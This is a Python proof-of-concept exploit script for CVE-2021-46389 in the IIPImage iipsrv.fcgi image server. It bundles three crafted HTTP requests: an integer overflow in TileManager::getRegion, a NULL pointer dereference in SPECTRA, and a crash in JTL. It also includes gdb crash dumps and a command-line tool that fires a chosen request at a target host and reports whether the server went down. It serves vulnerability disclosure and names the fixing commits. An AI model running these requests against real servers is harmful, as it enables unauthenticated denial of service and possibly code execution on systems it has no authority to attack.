#!/usr/bin/python3
# -*- coding: UTF-8 -*-
#
# thiel.py
#
# IIPImage Multiple Remote Memory Corruption Vulnerabilities
#
# Jeremy Brown [jbrown3264/gmail]
#
# IIPImage is distributed with a server that enables advanced, high-performance
# image manipulation for web-based streaming and viewing of high resolution images.
# The server component called iipsrv.fcgi processes requests from users and passes
# them to command handlers. Several crashes including an integer overflow were
# discovered by sending malformed requests to the server, allowing remote users
# without authentication to perform denial-of-service attacks or potentially
# crafted for remote code execution as the server's running user.
#
# Tested on Ubuntu 20.04 with NGINX fastcgi_pass localhost:9000 configuration
#
# Demo
#
# $ ./thiel.py http://10.0.0.201 --trigger iiif
#
# (gdb) r --bind 0.0.0.0:9000 # 9000 for nginx comms, port 80 externally
# ...
#
# Thread 1 "iipsrv.fcgi" received signal SIGSEGV, Segmentation fault.
# __memmove_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:319
# (gdb) i r
# rax 0x7ffef6d50b68 140733039577960
# rbx 0xffffffff 4294967295
# rcx 0xb3 179
# rdx 0x6 6
# rsi 0x5555556ae20d 93824993649165
# rdi 0x7ffef6d50b68 140733039577960
# rbp 0x7fffffffc690 0x7fffffffc690
# rsp 0x7fffffffc4b8 0x7fffffffc4b8
# r8 0x0 0
# r9 0x0 0
# r10 0x55555564f4e0 93824993260768
# r11 0x7ffef6d50b68 140733039577960
# r12 0xb58 2904
# r13 0x81 129
# r14 0x1e4 484
# r15 0x8 8
# rip 0x7ffff7a53708 0x7ffff7a53708 <__memmove_avx_unaligned_erms+152>
#
# => 0x7ffff7a53708 <__memmove_avx_unaligned_erms+152>: mov ecx,DWORD PTR [rsi+rdx*1-0x4]
#
# 0 __memmove_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:319
# 1 0x0000555555573b5c in memcpy (__len=6, __src=<optimized out>, __dest=<optimized out>) at /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34
# 2 TileManager::getRegion (this=this@entry=0x7fffffffc7d0, res=res@entry=0, seq=0, ang=90, layers=0, x=<optimized out>, y=<optimized out>, width=<optimized out>, height=<optimized out>) at TileManager.cc:470
# 3 0x000055555558c914 in CVT::send (this=this@entry=0x7fffffffd390, session=session@entry=0x7fffffffd8b0) at CVT.cc:222
# 4 0x000055555559a06e in IIIF::run (this=0x5555555e2e20, session=0x7fffffffd8b0, src=...) at IIIF.cc:656
# 5 0x0000555555566cf4 in main (argc=<optimized out>, argv=<optimized out>) at Main.cc:741
#
# Fixes
# - commits 4ed59265fbbd636dc2fbbf325f8ea37ed300a6d9, 882925b295a80ec992063deffc2a3b0d803c3195
#
# CVE-2021-46389
#
import os
import sys
import argparse
import signal
import requests
PATH = '/fcgi-bin/iipsrv.fcgi'
#
# also there's many params for some functions like fif such as obj, qlt, sds,
# cnt, cvt, wid, rgn, etc so the code definitely needs lots of input validation
#
QUERY_FIF = '?fif='
QUERY_IIIF = '?iiif='
QUERY_SPECTRA = '?spectra='
#
# Some bugs require a valid file (eg. tiled TIF) to be present on the server (eg. IIIF big region)
#
# sample: https://openslide.cs.cmu.edu/download/openslide-testdata/Generic-TIFF/CMU-1.tiff
#
VALID_FILE = '/var/www/test.tif'
### BUGS ###
#
# Bug #1: Integer overflow @ TileManager::getRegion()
#
# Thread 1 "iipsrv.fcgi" received signal SIGSEGV, Segmentation fault.
# __memmove_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:319
#
# REQ = QUERY_IIIF + VALID_FILE + '/full,32883,500,500/256,/0/default.jpg' # image
# REQ = QUERY_IIIF + VALID_FILE + '/full,32884,500,500/256,/0/default.jpg' # image error
REQ_IIIF = QUERY_IIIF + VALID_FILE + '/full,32912,500,500/256,/0/default.jpg' # SIGSEGV
# REQ_FIF_WID = QUERY_FIF + VALID_FILE + '&wid=652455&cvt=jpeg' # SIGSEGV (starts at CVT::run instead of IIIF:run)
#
# Bug #2: NULL ptr deref @ SPECTRA::run
#
# Thread 1 "iipsrv.fcgi" received signal SIGSEGV, Segmentation fault.
# SPECTRA::run (this=0x5555555e2f70, session=0x7fffffffd8b0, argument=...) at IIPImage.h:335
# 335 unsigned int getTileWidth() { return tile_width; };
#
REQ_SPECTRA = QUERY_SPECTRA + 'x' # no valid file necessary
#
# Bug #3: Another crash @ JTL::run
#
# Thread 1 "iipsrv.fcgi" received signal SIGSEGV, Segmentation fault.
# JTL::send (this=this@entry=0x5555555e3200, session=session@entry=0x7fffffffd8c0, resolution=resolution@entry=129165, tile=tile@entry=1) at IIPImage.h:324
# 324 unsigned int getImageWidth( int n=0 ) { return image_widths[n]; };
#
REQ_FIF_JTL = QUERY_FIF + VALID_FILE + '&jtl=129500,1' # try larger value if no crash
#
### END BUGS ###
class Thiel(object):
def __init__(self, args):
self.host = args.host
self.trigger = args.trigger
def run(self):
if(self.trigger == None):
print("error: choose which bug use via --trigger")
return -1
if(self.trigger == 'iiif'):
return self.sendRequest(self.host, REQ_IIIF)
if(self.trigger == 'spectra'):
return self.sendRequest(self.host, REQ_SPECTRA)
if(self.trigger == 'fif_jtl'):
return self.sendRequest(self.host, REQ_FIF_JTL)
return 0
def sendRequest(self, host, req):
session = requests.Session()
try:
resp = session.get(host + PATH + req)
except Exception as error:
print("Error: %s" % error)
return -1
if(b'502 Bad Gateway' in resp.content):
print("done\n")
return 0
else:
print("[-] iipsrv still appears to be up\n")
return -1
def signalExit():
sys.exit(-1)
def arg_parse():
parser = argparse.ArgumentParser()
parser.add_argument("host",
type=str,
help="target host")
parser.add_argument("--trigger",
"--trigger",
type=str,
choices=['iiif', 'spectra', 'fif_jtl'],
help="which bug to trigger")
args = parser.parse_args()
return args
def main():
signal.signal(signal.SIGINT, signalExit)
args = arg_parse()
pt = Thiel(args)
result = pt.run()
if(result > 0):
sys.exit(-1)
if(__name__ == '__main__'):
main()